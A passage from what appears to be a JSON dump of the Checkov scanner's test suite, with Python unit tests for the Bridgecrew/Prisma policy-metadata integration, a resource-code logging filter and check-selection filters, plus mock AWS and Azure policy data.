PolicyMetadataIntegration(instance)\n        metadata_integration.bc_integration = instance\n        metadata_integration.pre_scan()\n        self.assertIsNotNone(metadata_integration.check_metadata)\n        self.assertDictEqual({}, metadata_integration.check_metadata)\n\n    def test_metadata_bc_key(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000'\n        instance.customer_run_config_response = mock_customer_run_config()\n        metadata_integration = PolicyMetadataIntegration(instance)\n        metadata_integration.bc_integration = instance\n        metadata_integration.pre_scan()\n        all_checks = BaseCheckRegistry.get_all_registered_checks()\n        check_same_severity = next((check for check in all_checks if check.id == \"CKV_AWS_15\"), None)\n        check_different_severity = next((check for check in all_checks if check.id == \"CKV_AWS_40\"), None)\n        check_no_desc_title = next((check for check in all_checks if check.id == \"CKV_AWS_53\"), None)\n\n        self.assertEqual(check_same_severity.name, 'Ensure IAM password policy requires at least one uppercase letter')\n        self.assertEqual(check_same_severity.severity, Severities[BcSeverities.INFO])\n        self.assertEqual(check_different_severity.severity, Severities[BcSeverities.CRITICAL])\n        self.assertEqual(check_no_desc_title.severity, Severities[BcSeverities.MEDIUM])\n\n    def test_metadata_prisma_key(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234=='\n        instance.customer_run_config_response = mock_customer_run_config()\n        metadata_integration = PolicyMetadataIntegration(instance)\n        metadata_integration.bc_integration = instance\n        metadata_integration.pre_scan()\n        all_checks = BaseCheckRegistry.get_all_registered_checks()\n        check_same_severity = next((check for check in all_checks if check.id == \"CKV_AWS_15\"), None)\n        check_different_severity = next((check for check in all_checks if check.id == \"CKV_AWS_40\"), None)\n        check_no_desc_title = next((check for check in all_checks if check.id == \"CKV_AWS_53\"), None)\n\n        self.assertEqual(check_same_severity.name, 'AWS IAM password policy does not have an uppercase character')\n        self.assertEqual(check_different_severity.name, 'AWS IAM policy attached to users')\n        self.assertEqual(check_no_desc_title.name, 'Ensure S3 bucket has block public ACLS enabled')\n        self.assertEqual(check_same_severity.severity, Severities[BcSeverities.INFO])\n        self.assertEqual(check_different_severity.severity, Severities[BcSeverities.HIGH])\n        self.assertEqual(check_no_desc_title.severity, None)\n\n    def test_should_upload(self):\n        self.assertFalse(get_source_type('vscode').upload_results)\n        self.assertTrue(get_source_type('cli').upload_results)\n        self.assertTrue(get_source_type('xyz').upload_results)\n        self.assertTrue(get_source_type(None).upload_results)\n\n    def test_run_config_url(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'owner/repo'\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000'\n        self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=bc&enforcementv2=true&repoId=owner/repo'))\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234=='\n        self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=pc&enforcementv2=true&repoId=owner/repo'))\n        instance.repo_id = 'encode/më'\n        self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=pc&enforcementv2=true&repoId=encode/m%C3%AB'))\n\n    def test_is_valid_policy_filter(self):\n        instance = BcPlatformIntegration()\n        instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234=='\n        instance.customer_run_config_response = mock_customer_run_config()\n        self.assertTrue(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'CODE')],\n                                                        valid_filters=mock_prisma_policy_filter_response()))\n        self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.labels', 'CODE')],\n                                                        valid_filters=mock_prisma_policy_filter_response()))\n        self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'CODE'), ('not', 'allowed')],\n                                                        valid_filters=mock_prisma_policy_filter_response()))\n        self.assertFalse(instance.is_valid_policy_filter(policy_filter=[],\n                                                         valid_filters=mock_prisma_policy_filter_response()))\n        self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'A'), ('policy.label', 'B')], valid_filters={}))\n\n    def test_add_static_policy_filters(self):\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([]), [('policy.enabled', 'true'), ('policy.subtype', 'build')])\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true')]), [('policy.enabled', 'true'), ('policy.subtype', 'build')])\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true'), ('policy.subtype', 'build')]), [('policy.enabled', 'true'), ('policy.subtype', 'build')])\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.label', 'xyz')]), [('policy.label', 'xyz'), ('policy.enabled', 'true'), ('policy.subtype', 'build')])\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.label', 'xyz'), ('policy.enabled', 'true')]), [('policy.label', 'xyz'), ('policy.enabled', 'true'), ('policy.subtype', 'build')])\n        self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true'), ('policy.label', 'xyz'), ('policy.subtype', 'build')]), [('policy.enabled', 'true'), ('policy.label', 'xyz'), ('policy.subtype', 'build')])\n\n    def test_setup_on_prem(self):\n        instance = BcPlatformIntegration()\n\n        instance.customer_run_config_response = None\n        instance.setup_on_prem()\n        self.assertFalse(instance.on_prem)\n\n        instance.customer_run_config_response = {}\n        instance.setup_on_prem()\n        self.assertFalse(instance.on_prem)\n\n        instance.customer_run_config_response = {\n            'tenantConfig': {}\n        }\n        instance.setup_on_prem()\n        self.assertFalse(instance.on_prem)\n\n        instance.customer_run_config_response = {\n            'tenantConfig': {\n                'preventCodeUploads': False\n            }\n        }\n        instance.setup_on_prem()\n        self.assertFalse(instance.on_prem)\n\n        instance.customer_run_config_response = {\n            'tenantConfig': {\n                'preventCodeUploads': True\n            }\n        }\n        instance.setup_on_prem()\n        self.assertTrue(instance.on_prem)\n\n\ndef mock_customer_run_config():\n    return {\n        \"policyMetadata\": {\n            \"CKV_AWS_15\": {\n                \"id\": \"BC_AWS_IAM_5\",\n                \"title\": \"Ensure IAM password policy requires at least one uppercase letter\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/iam_5\",\n                \"severity\": \"INFO\",\n                \"pcSeverity\": \"INFO\",\n                \"category\": \"IAM\",\n                \"checkovId\": \"CKV_AWS_15\",\n                \"constructiveTitle\": \"Ensure AWS IAM password policy has an uppercase character\",\n                \"descriptiveTitle\": \"AWS IAM password policy does not have an uppercase character\",\n                \"pcPolicyId\": \"31626ca9-f659-4d25-9d88-fa32262bbba7\",\n                \"additionalPcPolicyIds\": [\n                    \"31626ca9-f659-4d25-9d88-fa32262bbba7\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV_AWS_40\": {\n                \"id\": \"BC_AWS_IAM_16\",\n                \"title\": \"Ensure IAM policies are attached only to groups or roles\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/iam_16-iam-policy-privileges-1\",\n                \"severity\": \"CRITICAL\",\n                \"pcSeverity\": \"HIGH\",\n                \"category\": \"IAM\",\n                \"checkovId\": \"CKV_AWS_40\",\n                \"constructiveTitle\": \"Ensure IAM policies are only attached to Groups and Roles\",\n                \"descriptiveTitle\": \"AWS IAM policy attached to users\",\n                \"pcPolicyId\": \"2b7e07ba-56c8-42db-8db4-a4b65f5066c4\",\n                \"additionalPcPolicyIds\": [\n                    \"2b7e07ba-56c8-42db-8db4-a4b65f5066c4\"\n                ],\n                \"benchmarks\": {}\n            },\n            \"CKV_AWS_53\": {\n                \"id\": \"BC_AWS_S3_19\",\n                \"title\": \"Ensure S3 bucket has block public ACLS enabled\",\n                \"guideline\": \"https://docs.bridgecrew.io/docs/bc_aws_s3_19\",\n                \"severity\": \"MEDIUM\",\n                \"pcSeverity\": None,\n                \"category\": \"Storage\",\n                \"checkovId\": \"CKV_AWS_53\",\n                \"constructiveTitle\": \"Ensure S3 bucket has block public ACLS enabled\",\n                \"descriptiveTitle\": None,\n                \"pcPolicyId\": \"34064d53-1fd1-42e6-b075-45dce495caca\",\n                \"additionalPcPolicyIds\": [\n                    \"34064d53-1fd1-42e6-b075-45dce495caca\"\n                ],\n                \"benchmarks\": {}\n            }\n        }\n    }\n\n\ndef mock_prisma_policy_filter_response():\n    return {\n        \"policy.name\": {\n            \"options\": [\n                \"CODE1: Ensure subnet is associated with NSG\"\n            ],\n            \"staticFilter\": False\n        },\n        \"policy.type\": {\n            \"options\": [\n                \"anomaly\",\n                \"audit_event\",\n                \"config\",\n                \"data\",\n                \"network\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.label\": {\n            \"options\": [\n                \"CODE\",\n                \"KARTIK\",\n                \"CRITICAL\"\n            ],\n            \"staticFilter\": False\n        },\n        \"policy.complianceStandard\": {\n            \"options\": [],\n            \"staticFilter\": False\n        },\n        \"policy.complianceRequirement\": {\n            \"options\": [],\n            \"staticFilter\": False\n        },\n        \"policy.complianceSection\": {\n            \"options\": [],\n            \"staticFilter\": False\n        },\n        \"policy.category\": {\n            \"options\": [\n                \"incident\",\n                \"risk\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.class\": {\n            \"options\": [\n                \"behavioral\",\n                \"exposure\",\n                \"network_protection\",\n                \"privileged_activity_monitoring\",\n                \"vulnerabilities\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.policyMode\": {\n            \"options\": [\n                \"redlock_default\",\n                \"custom\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.subtype\": {\n            \"options\": [\n                \"audit\",\n                \"build\",\n                \"data_classification\",\n                \"dns\",\n                \"malware\",\n                \"network\",\n                \"network_config\",\n                \"network_event\",\n                \"run\",\n                \"run_and_build\",\n                \"ueba\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.enabled\": {\n            \"options\": [\n                \"true\",\n                \"false\"\n            ],\n            \"staticFilter\": True\n        },\n        \"cloud.type\": {\n            \"options\": [\n                \"alibaba_cloud\",\n                \"aws\",\n                \"azure\",\n                \"gcp\",\n                \"oci\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.severity\": {\n            \"options\": [\n                \"high\",\n                \"medium\",\n                \"low\"\n            ],\n            \"staticFilter\": True\n        },\n        \"policy.remediable\": {\n            \"options\": [\n                \"true\",\n                \"false\"\n            ],\n            \"staticFilter\": True\n        }\n    }\n\n\ndef mock_prisma_policies_response():\n    return [\n        {\n            \"policyId\": \"6960be11-e3a6-46cc-bf66-933c57c2af5d\",\n            \"name\": \"AWS EBS volume region with encryption is disabled\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"run\",\n                \"build\"\n            ],\n            \"systemDefault\": True,\n            \"policyUpi\": \"PC-AWS-EC2-778\",\n            \"description\": \"This policy identifies AWS regions in which new EBS volumes are getting created without any encryption. Encrypting data at rest reduces unintentional exposure of data stored in EBS volumes. It is recommended to configure EBS volume at the regional level so that every new EBS volume created in that region will be enabled with encryption by using a provided encryption key.\",\n            \"severity\": \"medium\",\n            \"rule\": {\n                \"name\": \"AWS EBS volume region with encryption is disabled\",\n                \"criteria\": \"7a951e9f-02d2-4d9f-9441-29b545084585\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"true\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"criteria\": \"{\\\"category\\\":\\\"Kubernetes\\\",\\\"resourceTypes\\\":[\\\"aws_ebs_encryption_by_default\\\"]}\",\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"checkovId\": \"CKV_AWS_106\"\n                        },\n                        \"recommendation\": \"Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-kubernetes-secrets-are-encrypted-using-customer-master-keys-cmks-managed-in-aws-kms\"\n                    }\n                ]\n            },\n            \"recommendation\": \"To enable encryption at region level by default, follow below URL:\\nhttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default\\n\\nAdditional Information:\\n\\nTo detect existing EBS volumes that are not encrypted ; refer Saved Search:\\nAWS EBS volumes are not encrypted_RL\\n\\nTo detect existing EBS volumes that are not encrypted with CMK, refer Saved Search:\\nAWS EBS volume not encrypted using Customer Managed Key_RL\",\n            \"cloudType\": \"aws\",\n            \"complianceMetadata\": [\n                {\n                    \"standardId\": \"a0ea1077-424f-45fd-994e-4caef6d4d9de\",\n                    \"standardName\": \"AWS Foundational Security Best Practices standard\",\n                    \"standardDescription\": \"AWS Foundational Security Best Practices standard\",\n                    \"requirementId\": \"Protect\",\n                    \"requirementName\": \"Protect\",\n                    \"sectionId\": \"Data protection\",\n                    \"sectionDescription\": \"Data protection\",\n                    \"policyId\": \"6960be11-e3a6-46cc-bf66-933c57c2af5d\",\n                    \"complianceId\": \"2ab6eea3-660b-48c4-a836-53347e702faf\",\n                    \"sectionLabel\": \"Data protection\",\n                    \"sectionViewOrder\": 5,\n                    \"requirementViewOrder\": 2,\n                    \"systemDefault\": True,\n                    \"customAssigned\": False\n                }\n            ],\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1634832351154,\n            \"createdBy\": \"Prisma Cloud System Admin\",\n            \"lastModifiedOn\": 1654106204620,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1639652340813,\n            \"deleted\": False,\n            \"owner\": \"Prisma Cloud\",\n            \"policyMode\": \"redlock_default\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n        {\n            \"policyId\": \"c11ce08c-b93e-4e11-8d1c-e5a1339139d1\",\n            \"name\": \"CUSTOM 3: Ensure subnet is associated with NSG\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": False,\n            \"description\": \"Every subnet should be associated with NSG for controlling access to \\nresources within the subnet.\\n\",\n            \"severity\": \"high\",\n            \"rule\": {\n                \"name\": \"CUSTOM 3: Ensure subnet is associated with NSG\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"code\": \"metadata:\\n  name: 'CUSTOM 3: Ensure subnet is associated with NSG'\\n  guidelines: \\\"Every subnet should be associated with NSG for controlling access to\\\\\\n    \\\\ \\\\nresources within the subnet.\\\\n\\\"\\n  category: networking\\n  severity: high\\nscope:\\n  provider: azure\\ndefinition:\\n  and:\\n  - cond_type: connection\\n    resource_types:\\n    - azurerm_subnet_network_security_group_association\\n    connected_resource_types:\\n    - azurerm_subnet\\n    - azurerm_network_security_group\\n    operator: exists\\n  - cond_type: filter\\n    attribute: resource_type\\n    value:\\n    - azurerm_subnet\\n    operator: within\\n\"\n                        },\n                        \"recommendation\": \"\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"azure\",\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1653999690681,\n            \"createdBy\": \"User\",\n            \"lastModifiedOn\": 1654065712108,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1653999690681,\n            \"deleted\": False,\n            \"owner\": \"Tenant Name\",\n            \"policyMode\": \"custom\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n        {\n            \"policyId\": \"0e4c576e-c934-4af3-8592-a53920e71ffb\",\n            \"name\": \"CUSTOM POLICY2: Ensure subnet is associated with NSG\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": False,\n            \"description\": \"Every subnet should be associated with NSG for controlling access to \\nresources within the subnet.\\n\",\n            \"severity\": \"high\",\n            \"rule\": {\n                \"name\": \"CUSTOM POLICY2: Ensure subnet is associated with NSG\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"code\": \"metadata:\\n  name: 'CUSTOM POLICY2: Ensure subnet is associated with NSG'\\n  guidelines: \\\"Every subnet should be associated with NSG for controlling access to\\\\\\n    \\\\ \\\\nresources within the subnet.\\\\n\\\"\\n  category: networking\\n  severity: high\\nscope:\\n  provider: azure\\ndefinition:\\n  and:\\n  - cond_type: connection\\n    resource_types:\\n    - azurerm_subnet_network_security_group_association\\n    connected_resource_types:\\n    - azurerm_subnet\\n    - azurerm_network_security_group\\n    operator: exists\\n  - cond_type: filter\\n    attribute: resource_type\\n    value:\\n    - azurerm_subnet\\n    operator: within\\n\"\n                        },\n                        \"recommendation\": \"\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"azure\",\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1653003961960,\n            \"createdBy\": \"User\",\n            \"lastModifiedOn\": 1653003961960,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1653003961960,\n            \"deleted\": False,\n            \"owner\": \"Tenant Name\",\n            \"policyMode\": \"custom\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        },\n        {\n            \"policyId\": \"e4080750-1b9a-4b7b-9acf-7057c61eaa9d\",\n            \"name\": \"Check that all encrypted RDS clusters are tagged with encrypted: True\",\n            \"policyType\": \"config\",\n            \"policySubTypes\": [\n                \"build\"\n            ],\n            \"systemDefault\": False,\n            \"description\": \"Check that all encrypted RDS clusters are tagged with encrypted: True\",\n            \"severity\": \"high\",\n            \"rule\": {\n                \"name\": \"Check that all encrypted RDS clusters are tagged with encrypted: True\",\n                \"parameters\": {\n                    \"withIac\": \"true\",\n                    \"savedSearch\": \"false\"\n                },\n                \"type\": \"Config\",\n                \"children\": [\n                    {\n                        \"type\": \"build\",\n                        \"metadata\": {\n                            \"code\": \"---\\nmetadata:\\n name: \\\"Check that all encrypted RDS clusters are tagged with encrypted: True\\\"\\n guidelines: \\\"Tags Governance - in case of the matched condition below -> add/modify a tag of encrypted:true\\\"\\n category: \\\"secrets\\\"\\n severity: \\\"high\\\"\\nscope:\\n  provider: \\\"aws\\\"\\ndefinition:\\n and:\\n     - cond_type: \\\"attribute\\\"\\n       resource_types:\\n       - \\\"aws_rds_cluster\\\"\\n       attribute: \\\"tags.encrypted\\\"\\n       operator: \\\"equals\\\"\\n       value: \\\"true\\\"\\n     - or:\\n         - cond_type: \\\"attribute\\\"\\n           resource_types:\\n           - \\\"aws_rds_cluster\\\"\\n           attribute: \\\"kms_key_id\\\"\\n           operator: \\\"exists\\\"\\n         - cond_type: \\\"attribute\\\"\\n           resource_types:\\n           - \\\"aws_rds_cluster\\\"\\n           attribute: \\\"storage_encrypted\\\"\\n           operator: \\\"equals\\\"\\n           value: \\\"true\\\"\"\n                        },\n                        \"recommendation\": \"\"\n                    }\n                ]\n            },\n            \"recommendation\": \"\",\n            \"cloudType\": \"aws\",\n            \"labels\": [\n                \"CODE\",\n                \"KARTIK\"\n            ],\n            \"enabled\": True,\n            \"createdOn\": 1653999052972,\n            \"createdBy\": \"User\",\n            \"lastModifiedOn\": 1653999052972,\n            \"lastModifiedBy\": \"User\",\n            \"ruleLastModifiedOn\": 1653999052972,\n            \"deleted\": False,\n            \"owner\": \"Tenant Name\",\n            \"policyMode\": \"custom\",\n            \"policyCategory\": \"risk\",\n            \"policyClass\": \"exposure\",\n            \"remediable\": False\n        }\n    ]\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/test_resource_code_logger_filter.py",
    "content": "import logging\nfrom unittest import mock\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\n\nTEST_CODE_TEMPLATES_TO_REPLACE = \"THIS-SHOULD-BE-REPLACED!\"\n\n\ndef test_code_logger_filter_do_not_log_if_not_allowed(caplog) -> None:\n    with mock.patch(\"checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES\",\n                    [TEST_CODE_TEMPLATES_TO_REPLACE]):\n        logger = logging.getLogger(\"code logging not allowed\")\n        add_resource_code_filter_to_logger(logger, allow_code_logging=False)\n        logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE)\n        assert TEST_CODE_TEMPLATES_TO_REPLACE not in caplog.text\n\n\ndef test_code_logger_filter_logs_if_allowed(caplog) -> None:\n    with mock.patch(\"checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES\",\n                    [TEST_CODE_TEMPLATES_TO_REPLACE]):\n        logger = logging.getLogger(\"code logging allowed\")\n        add_resource_code_filter_to_logger(logger)\n        logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE)\n        assert TEST_CODE_TEMPLATES_TO_REPLACE in caplog.text\n\n\ndef test_code_logger_filter_logs_based_on_arg_not_allowed(caplog) -> None:\n    with mock.patch(\"checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES\",\n                    [TEST_CODE_TEMPLATES_TO_REPLACE]):\n        logger = logging.getLogger(\"code logging not allowed\")\n        add_resource_code_filter_to_logger(logger, allow_code_logging=False)\n        logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE, extra={\"mask\": True})\n        assert TEST_CODE_TEMPLATES_TO_REPLACE not in caplog.text\n"
  },
  {
    "path": "tests/common/test_runner_filter.py",
    "content": "import os\nimport unittest\nfrom collections import defaultdict\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities, Severity\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.main import Checkov\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRunnerFilter(unittest.TestCase):\n\n    # Expected pseudo-code for when checks should run:\n    #    if has_check_flag_specified():\n    #        checks_to_run = checks_specifically_included\n    #    else:\n    #        checks_to_run = all_built_in_checks\n    #    if has_checks_dir_specified():\n    #       checks_to_run += checks_from_external_dir\n    #    for skipped_check in skip_check_flags():\n    #        checks_to_run.remove(skipped_check)\n\n    def test_should_run_default(self):\n        instance = RunnerFilter()\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_1\"))\n\n    def test_should_run_specific_enable(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_1\"))\n\n    def test_should_run_specific_enable_bc(self):\n        instance = RunnerFilter(checks=[\"BC_CHECK_1\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_1\", bc_check_id=\"BC_CHECK_1\"))\n\n    def test_should_run_wildcard_enable(self):\n        instance = RunnerFilter(checks=[\"CHECK_*\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_1\"))\n\n    def test_should_run_wildcard_enable_bc(self):\n        instance = RunnerFilter(checks=[\"BC_CHECK_*\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_1\", bc_check_id=\"BC_CHECK_1\"))\n\n    def test_should_run_omitted_specific_enable(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_999\"))\n\n    def test_should_run_omitted_specific_enable_bc_id(self):\n        instance = RunnerFilter(checks=[\"BC_CHECK_1\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_999\", bc_check_id=\"BC_CHECK_999\"))\n\n    def test_should_run_specific_disable(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_1\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_1\"))\n\n    def test_should_run_specific_disable_bc_id(self):\n        instance = RunnerFilter(skip_checks=[\"BC_CHECK_1\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_1\", bc_check_id=\"BC_CHECK_1\"))\n\n    def test_should_run_omitted_specific_disable(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_1\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_999\"))\n\n    def test_should_run_omitted_specific_disable_bc_id(self):\n        instance = RunnerFilter(skip_checks=[\"BC_CHECK_1\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_999\", bc_check_id=\"BC_CHECK_999\"))\n\n    def test_should_run_external(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_1\"])\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertTrue(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_external2(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"], skip_checks=[\"CHECK_2\"])\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertFalse(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_external3(self):\n        instance = RunnerFilter(checks=[\"EXT_CHECK_999\"])\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertTrue(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_external4(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"], skip_checks=[\"CHECK_2\"], all_external=True)\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertTrue(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_external_severity(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"], skip_checks=[\"CHECK_2\", \"HIGH\"], all_external=True)\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertFalse(instance.should_run_check(check_id=\"EXT_CHECK_999\", severity=Severities[BcSeverities.HIGH]))\n\n    def test_should_run_external_disabled(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_1\", \"EXT_CHECK_999\"])\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertFalse(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_external_disabled2(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_1\", \"EXT_CHECK_999\"], all_external=True)\n        instance.notify_external_check(\"EXT_CHECK_999\")\n        self.assertFalse(instance.should_run_check(check_id=\"EXT_CHECK_999\"))\n\n    def test_should_run_specific_disable_AND_enable(self):\n        instance = RunnerFilter(checks=[\"CHECK_1\"], skip_checks=[\"CHECK_1\"])\n        # prioritize disable - also this is not valid input and would be blocked in main.py\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_1\"))\n\n    def test_should_run_omitted_wildcard(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_AWS*\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_999\"))\n\n    def test_should_run_omitted_wildcard_bc_id(self):\n        instance = RunnerFilter(skip_checks=[\"BC_CHECK_AWS*\"])\n        self.assertTrue(instance.should_run_check(check_id=\"CHECK_999\", bc_check_id=\"BC_CHECK_999\"))\n\n    def test_should_run_omitted_wildcard2(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_AWS*\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_AWS_909\"))\n\n    def test_should_run_omitted_wildcard2_bc_id(self):\n        instance = RunnerFilter(skip_checks=[\"BC_CHECK_AWS*\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_AWS_909\", bc_check_id=\"BC_CHECK_AWS_909\"))\n\n    def test_should_run_omitted_wildcard3(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_AWS*\",\"CHECK_AZURE*\"])\n        self.assertTrue(instance.should_run_check(check_id=\"EXT_CHECK_909\"))\n\n    def test_should_run_omitted_wildcard4(self):\n        instance = RunnerFilter(skip_checks=[\"CHECK_AWS*\",\"CHECK_AZURE_01\"])\n        self.assertFalse(instance.should_run_check(check_id=\"CHECK_AZURE_01\"))\n\n    def test_should_run_severity1(self):\n        instance = RunnerFilter(checks=[\"LOW\"])\n        self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_run_severity1_lowercase(self):\n        instance = RunnerFilter(checks=[\"low\"])\n        self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_run_severity2(self):\n        instance = RunnerFilter(skip_checks=[\"LOW\"])\n        self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.HIGH]))\n\n    def test_should_run_severity2_lowercase(self):\n        instance = RunnerFilter(skip_checks=[\"low\"])\n        self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.HIGH]))\n\n    def test_should_skip_severity1(self):\n        instance = RunnerFilter(checks=[\"HIGH\"])\n        self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_skip_severity1_lowercase(self):\n        instance = RunnerFilter(checks=[\"high\"])\n        self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_skip_severity2(self):\n        instance = RunnerFilter(skip_checks=[\"LOW\"])\n        self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_skip_severity2_lowercase(self):\n        instance = RunnerFilter(skip_checks=[\"low\"])\n        self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW]))\n\n    def test_should_run_check_id(self):\n        instance = RunnerFilter(checks=['CKV_AWS_45'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        self.assertTrue(instance.should_run_check(check=check))\n\n    def test_should_run_check_id_omitted(self):\n        instance = RunnerFilter(checks=['CKV_AWS_99'])\n        from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n        self.assertFalse(instance.should_run_check(check=check))\n\n    def test_should_run_check_bc_id(self):\n        instance = 